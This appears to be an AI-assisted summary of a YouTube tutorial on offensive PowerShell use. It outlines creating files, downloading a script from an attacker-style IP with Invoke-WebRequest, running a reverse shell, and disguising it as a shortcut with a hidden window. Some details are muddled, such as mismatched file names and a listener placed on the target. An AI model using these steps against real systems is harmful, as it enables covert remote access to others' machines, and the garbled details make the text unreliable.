PowerShell Hacking
3 min read
7 months ago
Published on May 03, 2024
This response is partially generated with the help of AI. It may contain inaccuracies.
Table of Contents
Step-by-Step Tutorial: PowerShell Hacking
Introduction:
In this tutorial, we will explore PowerShell hacking techniques demonstrated in the video "Great Power Comes Great Responsibility - PowerShell Hacking" by Loi Liang Yang. We will learn how to utilize PowerShell to run scripts, create files, download files, and gain command execution in a target server.
Step 1: Launch PowerShell on Windows Machine
- Go to the bottom left corner of the Windows machine.
- Enter "PowerShell" in the search bar and hit Enter.
- This will open the Windows PowerShell where you can write and execute scripts.
Step 2: Create a New File Using PowerShell
- In the PowerShell window, enter the following command to create a new file:
new-item -path .\ -name newfile.txt -itemtype file
- This command will create a new file named "newfile.txt" in the current directory.
Step 3: Download a File from a Web Server
- Use the command
Invoke-WebRequest
to download a file from a web server. - For example, to download a file named "default.ps1" from a specific URL to your desktop, use the following command:
Invoke-WebRequest -Uri http://192.168.0.192/d4.ps1 -OutFile C:\Users\Desktop\default.ps1
- This command will download the file to the specified location.
Step 4: Set Up a Reverse Shell
- Use
wget
command to target a PowerShell script that provides a reverse shell. - Copy the downloaded file to a specific directory on the target machine.
- Execute the downloaded file using PowerShell to establish a reverse shell connection.
Step 5: Execute the Reverse Shell
- Enter the command to execute the downloaded file and establish a reverse shell connection.
- Specify the listener IP and port to connect to.
- Execute the command to establish the reverse shell connection.
Step 6: Create a Shortcut File for PowerShell Execution
- Create a shortcut file with PowerShell execution instructions.
- Modify the target of the shortcut file to execute PowerShell commands.
- Double click on the shortcut file to execute the PowerShell commands and establish a connection.
Step 7: Hide the PowerShell Window
- Modify the shortcut file properties to hide the PowerShell window when executing commands.
- Use the
-WindowStyle Hidden
parameter to hide the window. - Apply the changes and execute the shortcut file.
Step 8: Verify the Reverse Shell Connection
- Set up the listener again on the target machine.
- Double click on the modified shortcut file to establish a hidden reverse shell connection.
- Verify the connection in the command line interface.
By following these steps, you can explore PowerShell hacking techniques and understand how to gain control and execute commands on a target system using PowerShell. Remember to use this knowledge for ethical purposes only.